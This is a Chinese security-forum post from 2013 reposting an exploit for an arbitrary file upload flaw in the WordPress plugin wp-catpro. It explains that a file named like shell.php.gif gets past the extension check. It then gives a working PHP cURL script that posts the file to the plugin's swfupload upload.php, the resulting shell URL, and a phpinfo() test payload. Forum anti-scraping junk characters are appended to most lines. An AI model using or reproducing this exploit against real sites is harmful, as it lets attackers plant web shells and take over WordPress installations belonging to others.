找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1960|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability- C+ p+ M4 U) g9 H# \' g
#-----------------------------------------------------------------------
! j9 v8 r! @7 ^; v9 I# {+ p' h ; \" Z. z: Q2 T& y! b5 ]5 {- O
作者  => Zikou-16" ~7 p! m7 r" V
邮箱 => zikou16x@gmail.com" H& I9 I1 R. S( C& w* d
测试系统 : Windows 7 , Backtrack 5r3
/ K& o1 K; T8 k4 H' U0 \. s下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip" d+ P8 C, N2 |6 g. _
####0 _' C( p" s8 ^6 v5 ?: o
) A- t( o$ L* q/ ~$ }
#=> Exploit 信息:4 ]" V- V) v6 o1 i/ n* E: S  B- K( n" D. }
------------------
: ^; Y" T9 E5 H% u+ b6 g# 攻击者可以上传 file/shell.php.gif$ E5 |; m% f9 w% \" B
# ("jpg", "gif", "png")  // Allowed file extensions
) D& F* \# R3 Q$ c( N% M- |. P# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
* h" H& m* d/ ^% m. V# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)# L' P$ |3 C! G7 y
------------------. d+ M' n; L7 l  p: \5 g5 K
: B. u) ?2 x5 q, J% B( ]3 k# z* o
#=> Exploit& U  J8 ]& }6 [! a8 M
-----------! q7 o& b2 H/ s% X: o
<?php
- f- z7 @! M$ f7 ^7 X4 _9 d% b
8 g* L7 l2 ^( x) W9 H0 x0 J$uploadfile="zik.php.gif";* T) H. k* ?) U, g' E9 q* t& i
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");/ l' u; s* b3 C, s. ~
curl_setopt($ch, CURLOPT_POST, true);' K8 |0 R9 W: |  n  W
curl_setopt($ch, CURLOPT_POSTFIELDS,6 r2 P8 }' i: [* w! q
array('Filedata'=>"@$uploadfile",
$ n' p  ?7 K# T7 D, l9 t0 ['folder'=>'/wp-content/uploads/catpro/'));
2 Q; `; ~" ?9 X5 A+ @( Ucurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);, N  w( m7 D5 m* E
$postResult = curl_exec($ch);
% l9 s* S) K4 Ocurl_close($ch);
4 D% Z; q" L3 q  E+ F: Q+ o( d
) N/ V4 V9 T' A7 P9 h& V) Iprint "$postResult";  m- ~9 z$ D# o* ~. X- F& z( T
6 `: r; D1 E8 W" z: D9 Q
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
6 I$ L# V% y4 K/ X  ?>
7 r3 ?6 {! h1 O& b) k) Z  [<?php& O- q. O" P5 N) _  f+ A1 S4 ?
phpinfo();8 `$ V! g; T6 N+ p
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表